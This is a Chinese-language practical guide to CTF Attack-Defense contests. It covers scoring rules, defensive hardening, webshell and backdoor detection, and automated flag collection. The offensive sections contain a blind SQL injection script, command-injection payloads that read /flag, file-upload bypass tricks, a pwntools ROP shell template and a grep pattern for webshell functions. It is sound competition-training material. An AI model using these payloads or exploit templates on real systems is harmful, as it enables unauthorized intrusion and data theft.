行业资讯
📅 2026/9/6 17:50:15
CTF线下攻防赛实战指南:从Web漏洞利用到应急响应与自动化拿分
简介一份聚焦CTF线下攻防赛的实战技巧PDF面向准备参加Attack with Defense模式赛事的选手和网络安全爱好者用于快速理解攻防对抗的核心规则与技术要点。文档以Defcon CTF等代表性赛事为背景系统拆解了攻击、防御、流量分析三大环节攻击阶段涵盖逆向分析服务程序、挖掘漏洞、编写exploit攻击对手服务器获取权限并可植入后门持续控制防御阶段则要在维持服务正常运行的同时及时修补漏洞检测并移除后门流量分析通过抓取对手攻击流量定位漏洞为攻防决策提供支持。文档还介绍了gamebox游戏盒子机制、多服务端口场景如8080、10000等的常见应对思路以及Flag管理与check校验流程帮助参赛者快速理解从开局准备、攻防对抗到计分判定的完整链路。资源为PDF格式共1个文件容量约8.32MB适合离线研读目前已有501人浏览学习无论赛前集中阅读还是实战中速查都能提供清晰的战术指导。文档兼具理论讲解与实战视角对团队协作和战术制定同样有参考价值。 2019年我第一次站到CTF线下攻防赛的场地里Air Conditioner开得很足但我的后背全是汗。Attack Defense赛制和线上解题赛完全是两回事解题赛你可以慢慢看题、慢慢琢磨线下攻防赛则是两台屏幕、一个倒计时对面几十支队伍的选手正在疯狂敲命令你每慢一分钟自己服务器的flag就少几枚。那场比赛我们一上来就被爆了两台机器直到第六轮才算稳住阵脚。后来我打了大大小小十几场线下赛从Web到Pwn从打别人到自己被捶踩过的坑能写满一本备忘录。这篇文章我想把这些经验完整展开聊聊CTF线下攻防赛里真正决定胜负的细节以及攻防两端最实用、能直接用上的技巧。1. 赛制与规则认知先搞清楚AD怎么计分1.1 计分规则与check机制线下攻防赛常见的名字是Attack Defense也叫AD。和线上常见的Jeopardy解题赛不同AD的核心是“每支队伍维护自己的服务器同时想办法入侵别人的服务器”。主办方会给每支队伍分配一套完全一样的靶机环境里面跑着若干个服务比如一个漏洞百出的Web应用、一个带栈溢出的Pwn服务。你要保证自己这套服务持续存活并且从对手的服务器里偷出flag提交得分。这里有个最容易被新手忽略的点check机制。裁判系统会每隔一段时间常见是3到5分钟启动一个check脚本以普通用户的身份去访问你的服务。check脚本不仅会拼接flag路径去读文件还会校验服务的完整业务流程。比如说一个登录功能check脚本会注册账号、登录、点赞、退出任何一个环节返回异常就算服务宕机。服务宕机后有两个严重后果一是你们队伍会持续丢分二是当轮就没有进攻得分资格。记住一句话在线下赛里服务先得活着才有资格谈进攻。我整理过一张简单的对比表适合刚入门的朋友快速理解两种赛制的区别维度线上解题赛Jeopardy线下攻防赛AD主要对手题目本身参赛队伍目标找flag、解一道题打别人 守自己计分方式每道题固定分值服务存活分 攻击得分环境一人一台机器做题每队一套免费靶机关键能力单项技能深度综合能力 反应速度1.2 赛制决定了攻防策略AD的计分特点决定了你不能只攻不防也不能只防不攻。很多初学者会觉得防守比进攻容易事实上在AD里防守往往更难。因为对手手里有很多工具针对的是同一套已知漏洞的代码你必须在有限时间内判断哪些漏洞已经被利用、可以怎么修补同时还要保证业务不被改坏。另一个被忽略的点是flag获取机制。线下赛中flag通常不是静态的而是每一轮动态刷新。你从对手服务中读到的flag会带上对手队伍标识提交到计分服务器后才会得分。这意味着拿到一次flag不等于一劳永逸你要建立一个可持续的拿分链路最好每轮都用自动化脚本去批量攻击持续读取新flag。理解了这些规则以后整个比赛的策略就清晰了先摸清自己服务器的底细做好最快速的加固同时分析出每个服务的一两个可靠漏洞写exp脚本然后开始批量攻击、批量提交中间穿插着监测自己的服务有没有被打崩一旦被打崩立刻回滚或修复。下面我把攻击和防守两条线分别展开。2. 攻击侧找漏洞、拿flag的正确思路2.1 信息收集与源码分析很多没有打过线下赛的朋友习惯拿到IP就一把梭用扫描器猛扫这在AD里效率并不高。线下赛有一个天然的信息优势主办方通常会在赛前或开赛时提供部分服务的源代码靶机是同一套源码一般也会给这意味着你已经知道了漏洞在哪儿重点不是“找漏洞”而是“快速定位漏洞并写出exp”。所以我的建议是第一小时不要急着打流量先做两件事。第一把主办方给的源码在本地跑起来用dirsearch扫一遍目录结构标记所有入口文件比如路由配置、上传接口、命令执行点、数据库操作SQL语句。第二对比自己靶机的开放端口和环境差异用nmap识别服务指纹nmap -sV -p- 10.0.0.3 -oN nmap_scan.txt这里-sV做版本探测-p-全端口扫描。扫描完把常见服务挑出来比如8080的Web服务、4444的Pwn服务、3306的数据库服务。注意数据库服务很多时候是裁判系统和check脚本用的不要轻易去动它否则可能被判定为破坏环境。如果主办方没有提供源码那就只能黑盒起步。我的经验是优先找Web入口因为Web服务通常有更明显的攻击面登录框、上传框、参数注入点。先跑目录扫描再抓包看功能点遇到参数值就手动测几个经典payload。整个过程的节奏应该是“先人工看透两个点再写脚本自动化”而不是“无脑扫一堆无意义的结果”。2.2 Web漏洞利用与高效工具组合在AD里Web服务的常见漏洞类型其实很集中SQL注入、命令执行、文件上传、文件包含、反序列化。每一种都要准备对应的利用姿势和工具链。SQL注入是我用得最多的招数。线下赛的Web服务通常有数据库读写需求而很多源码为了“故意留洞”会直接拼接SQL。拿到一个注入点后手工测试比较慢我习惯先确认注入类型再用sqlmap跑。不过要注意一点sqlmap在比赛环境里动静太大很容易触发对手日志里的告警甚至暴露你的扫描行为。更稳的做法是手工构造union注入或者bool盲注脚本用Python的requests库循环跑。比如一个最简单的bool盲注脚本import requests url http://target:8080/login flag for i in range(1, 50): for c in flag{}abcdefghijklmnopqrstuvwxyz0123456789-_: payload f1 AND SUBSTR((SELECT flag FROM flag_table),{i},1){c}-- - r requests.post(url, data{username: payload, password: x}) if success in r.text: flag c break print(flag)这里我故意把提交逻辑写得很直白。实际比赛中SQL注入往往不只是为了读flag还能拿到后台账号、文件读写权限甚至是RCE。遇到上传接口时优先考虑的绕过方式包括修改Content-Type、双扩展名例如shell.php.jpg、空字节截断、.htaccess配合解析等。上传之后如果知道路径直接用蚁剑或冰蝎去连就能拿到webshell。命令执行也是线下赛的高频点。像题目里常见的passthru、system、exec这些函数只要参数可控就能直接拼命令读flag。常规payload套路就是用分号、管道符、反引号拼接id; cat /flag ping -c 1 whoami拿到命令执行后不要急着开心先确认权限。如果是低权限还需要考虑提权如果已经是root那这台机器基本就是你的了。但记住在AD里命令执行还有一个隐藏价值就是快速在当前机器上留下加固和审计信息这一步我们放在防守章节展开。2.3 Pwn服务的利用思路很多队伍在AD里偏科严重Web打得不错一遇到Pwn就傻眼。其实线下赛的Pwn服务并没有想象中难因为主办方为了比赛节奏和可运营性一般会把程序设定为常见的栈溢出、格式化字符串、堆溢出这类经典漏洞而且不需要太复杂的逆向分析用IDA打开程序找到危险函数往往就能定位。我对Pwn服务的建议是准备一个“通用exp模板”。以栈溢出为例在本地用pwntools连接靶机调试先算偏移再找system或拿到libc基址。模板大致长这样from pwn import * context.arch amd64 p remote(target, 4444) elf ELF(./vuln) libc ELF(./libc.so.6) payload bA * offset payload p64(pop_rdi) payload p64(next(libc.search(b/bin/sh))) payload p64(libc.symbols[system]) p.sendline(payload) p.interactive()线下赛Pwn的关键在于速度所以我习惯在比赛前把pwntools、one_gadget、ROPgadget这些工具配置好配合本地起一个一样的题目环境先把exp跑通再对远程打。不要在该用工具的时候现找工具太浪费时间。另外Pwn服务自己的check机制也很烦人。check脚本会向Pwn服务发送固定的内容来验证服务是否存活如果你把一个Pwn服务打崩了或者改变了它的运行逻辑后果不只是你自己不能用还会导致判你宕机。所以利用Pwn服务时要尽量保持原程序的交互流程只往栈里塞payload不要改变正常交互的返回路径。3. 防守侧加固与应急响应的落地做法3.1 哪些东西不能乱动防守的第一步也是很多人一上来就踩的坑就是把不该改的东西改了。比赛刚开始有些队伍为了保护自己直接改端口、改数据库密码、关掉SSH结果check脚本连不上服务当场判宕机比分直接落后。我先说结论check机制认的是“原来的服务路径、原来的端口、原来的业务流程”你只能在里面做“内容过滤”不能动“访问入口”。比如一个Web服务在80端口你只需要保证80端口对外仍然正常提供该Web服务即可但你可以通过在代码层面加过滤、在服务前面加一个轻量WAF来拦截恶意请求。以下这些操作在比赛里要特别谨慎改服务端口通常不允许check脚本按预设端口访问。改数据库账号密码风险极高check脚本也会连数据库。关掉对外端口服务存活分直接丢失。替换二进制文件Pwn服务换了新程序后check脚本可能校验程序特征或者新程序本身就有问题。我的建议是在动手之前先看一眼主办方发的手册里面会写清楚哪些操作会触发规则比如禁止对裁判机扫描、禁止修改check脚本等。规则之内操作规则之外不乱动。3.2 低成本加固方案与流量管控防守最核心的目标是让正常用户和check脚本能访问服务但让攻击者的payload失效。Web服务的加固我一般分三步走。第一步用备份目录做代码对比。比赛环境下最容易被人为注入后门通过和原始源码比对找出所有被改动过的文件把异常后门删掉或者替换回来。可以用diff命令diff -rq /var/www/html_origin /var/www/html这个命令会列出所有变化的文件能帮你快速定位后门蚁剑、冰蝎的落地页。第二步针对已知漏洞打补丁。比如你发现登录处的SQL注入是参数拼接导致的最简单有效的补丁就是在查询前加参数化查询或者对传入参数做严格过滤。如果时间紧张可以走“窄过滤”路线在入口文件统一加一个函数过滤掉单引号、双引号、分号、反斜杠等危险字符。第三步加一层访问控制。线上对抗中你可以利用iptables做白名单但AD里你没法把所有对手IP封掉因为你会漏掉新选手或裁判流量。所以更聪明的做法是“按请求特征分流”只放行check脚本特有的请求头其他来自陌生IP的高危请求一律返回403。很多队伍在赛题Web服务入口加一个非常简单的前置PHP文件判断UA或是否带特定Cookie只要不是check请求就执行防护逻辑。这个方法虽然粗暴但能有效挡住大部分攻击脚本。3.3 后门排查与进程监控比赛进行到中后期对手拿到你机器的权限后通常不会马上收手而是会留一个后门方便下一轮继续打你。常见的后门有新增Webshell文件、修改系统启动项、添加SSH密钥、绑定恶意计划任务。所以防守时要养成定期检查的习惯。进程监控是第一步ps aux top同时检查网络连接看看有没有陌生的外联端口netstat -antp一旦发现异常进程不要急着kill先观察它的父子进程关系找到启动它的脚本或二进制文件再把它删掉。很多人直接kill进程后以为没事了结果几个进程又站起来就是因为启动文件没清理干净。Webshell的排查可以结合文件时间戳和内容特征。蚁剑、冰蝎、哥斯拉生成的webshell往往文件名很随意但内容里有eval、assert、call_user_func、$_POST等特征。我习惯直接跑一条grep命令扫整个web目录grep -r --include*.php -l eval\|assert\|call_user_func\|base64_decode /var/www/html如果比赛环境允许还可以给关键目录加只读权限比如chmod 555这在防止对手写入后门时很有效。不过要注意有些业务需要写文件比如上传目录、日志目录不能一概只读。总的来说防守的精髓是“堵住已知漏洞、清掉已有后门、监控异常行为”三件事齐头并进。4. 实战操作流程一攻一守的完整现场记录4.1 攻击流程从拿到环境到持续得分我把自己在比赛中验证过的一套攻击流程分享出来这不是唯一的路但基本能保证你在一轮内快速上手。第一步开赛前10分钟先扫自己的环境。用nmap扫描自己的所有IP和端口记录服务列表。同时把主办方给的源码解压到本地快速浏览目录结构和配置。这个阶段不要急着攻别人先把自己家底摸清楚。第二步写扫描脚本批量探测同网段对手。AD比赛里所有队伍都在同一个内网扫描范围就是主办方分配的子网。用脚本去批量访问每个IP的对应端口判断服务是否存活然后对每台机器尝试同样的exp。这里有个细节同一套服务漏洞都一样所以只要针对一个目标写好exp其余目标基本可以批量复用。但是要注意提交flag时区分target身份别提交错了。第三步持续自动化。我习惯把整个拿flag流程写成一个脚本逻辑大致是对目标列表挨个发起请求读取flag字段提交到计分服务器等待下一轮。因为flag每几分钟刷新脚本要带循环。比如用Python写一个简易循环import requests import time targets [10.0.0.2, 10.0.0.3, 10.0.0.4] submit_url http://scoreboard:8888/submit while True: for ip in targets: try: r requests.get(fhttp://{ip}:8081/readflag, timeout5) flag r.text.strip() requests.post(submit_url, data{flag: flag}) except Exception: pass time.sleep(240)这个脚本很粗糙但能体现AD拿分的核心逻辑每轮循环、批量攻击、持续提交。真正的比赛里还要处理flag的校验格式、防重复提交、目标挂掉等情况这些可以通过日志和异常处理来优化。自动化的好处是你不用一直在终端前手动敲命令能腾出手来做防守和排查对手。4.2 防守流程从check到加固防守不要等被打崩了才开始。开赛拿到环境后前20分钟就应该完成一轮基础加固。我的固定流程是先备份源码和配置用tar打包整个web目录和关键配置文件tar czf /root/backup_web.tar.gz /var/www/html拿到备份后紧接着看check脚本到底检查什么。很多比赛会下发check脚本源码或者你可以通过抓包拿到check请求的特征。如果能看到check请求的路径和参数防守的方向就明确很多。比如check请求是GET /index.php?id1那你只需要保证index.php?id1正常返回即可其他参数都可以拦。加固完自己的入口后接下来是监控。我习惯把tcpdump开起来只抓80端口的流量和可能的攻击特征tcpdump -i eth0 -s 0 -w /tmp/attack.pcap port 80日志不要只存不分析。一旦发现自己的服务返回异常立刻看最近几分钟的访问记录定位是哪类payload导致服务挂掉再针对性修补。这里有几个“实战现场”的小细节对手的打法往往有规律。有的队伍就是一个扫描器硬扫没带规避有的队伍会专门盯着check脚本的特征试图构造合法请求。你能抓到他们的payload特征就能反过来写规则封掉这些IP。不过要注意比赛里的对手IP会变封IP只能作为临时手段根本方法还是把漏洞补上。5. 高频问题与排查技巧实录5.1 服务判定异常的排查顺序线下赛最常见的事故就是自己的服务被check脚本判定宕机。遇到这种情况先别慌按下面的顺序排查。第一步确认服务进程是否存活。如果是Web服务看nginx/apache是否还在运行如果是Pwn服务看端口是否还在监听。很多时候服务只是被攻击脚本搞挂了重启一下就能恢复。第二步看日志找具体报错。Web服务有访问日志和错误日志Pwn服务可以看终端输出。我发现很多是因为check脚本的请求被自己的WAF或者过滤规则误拦了比如你过滤了所有单引号但check脚本本身也用了单引号那服务就会异常。第三步对比源码看是否被改。有些对手拿到权限后会直接把你的正常页面替换成恶意页面或者干脆删掉对应功能导致check脚本拿不到预期结果。这时用备份文件恢复是最快的cp /root/backup_web.tar.gz /tmp/ tar xzf /root/backup_web.tar.gz -C /tmp/ cd /tmp/var/www/html rsync -av /tmp/var/www/html/ /var/www/html/恢复之后立刻清后门、改密码、加防护避免下一轮又被打回原形。5.2 对手利用冰蝎、哥斯拉的检测与清除冰蝎和哥斯拉是比赛里非常常见的WebShell管理工具它们的流量做了加密处理常规的WAF规则比较难识别。但是如果你在服务器上发现了一个可疑的PHP文件并且访问后连接了奇怪的流量基本可以断定这就是WebShell。清理思路是先摘除WebShell文件再去查这个文件是什么时候、被谁写入的。常见写法是看文件所有者、文件的修改时间以及同目录还有没有其他可疑文件。如果对手是通过命令执行上传的WebShell那么在漏洞修复前删了也没用。所以清除后必须第一时间修复对应的上传漏洞或命令注入漏洞否则约等于白清。关于WebShell的管理权和反制这里有个小技巧如果你抓到对手的WebShell路径可以在自己机器上留一个安全的后门用于取证和反追踪但我不建议比赛里做太多对抗操作因为一旦被裁判发现可能直接取消资格。比赛本质还是比技术和速度不是搞心态。5.3 关于自动化脚本的取舍参加了几次线下赛后我发现很多队伍在“自动化”上走了两个极端。一种是完全没有自动化全靠手敲命令导致每轮拿分效率极低另一种是过度依赖自动化写了一堆复杂脚本结果出bug后排查半天还不如手敲几行命令快。所以我对自动化脚本的建议是把重复率高、逻辑简单的步骤自动化把需要判断和调整的部分留给人。比如批量提交flag、批量请求服务、批量读文件这些完全可以自动化。但“判断对手的服务为什么挂了”这种需要看上下文的问题自动化脚本帮不了你老老实实打开终端去看。比赛进行到后半段很多队伍会调整战术。比如专门针对你的防守写绕过payload或者通过流量分析发现你的拿分路径。不要以为脚本挂了就一直跑着就行每隔几轮检查一下日志确认脚本还在正常工作目标列表有没有变化。6. 一些坚持到最后的赛场习惯写到这里我本来想收尾了但想了想还是把几个只有真正坐在赛场上才会感受到的习惯记下来。开赛后的第一个小时永远先做防守再考虑进攻。很多队伍开局就打得很激进结果自己的服务被对手爆掉后后半程一直在修补根本没有精力组织进攻。反过来如果前一轮把自己的服务守住了接下来几轮就有不断稳定的攻击分进账。第二无论攻击有多顺利每隔30分钟一定要回来看一眼自己服务器的状态。比赛里最害怕的不是被打败而是自己人把自己人的服务搞挂了。尤其是几个人同时操作一台机器有人改了配置忘了说服务悄悄就没了。第三把赛前准备的工具链当成你的“后勤粮草”。pwntools的版本、sqlmap的插件路径、Burp的Intruder配置、蚁剑的代理设置这些最好在赛前都测一遍。我见过太多队伍在比赛现场花一小时装工具直接错过前三轮进攻窗口期。CTF线下攻防赛最吸引我的地方是它把安全领域里“攻”和“守”的平衡感压缩到了几个小时里。你既要像一个攻击者一样思考漏洞又要像一个运维一样守住业务。这种双线作战的节奏比只看单一技能的比赛要累很多但也更有意思。如果你准备打下一场线下赛不妨先从这篇文章里提到的规则、工具、代码对比和后门排查练起把基本功打扎实了到赛场上会更从容。本文还有配套的精品资源点击获取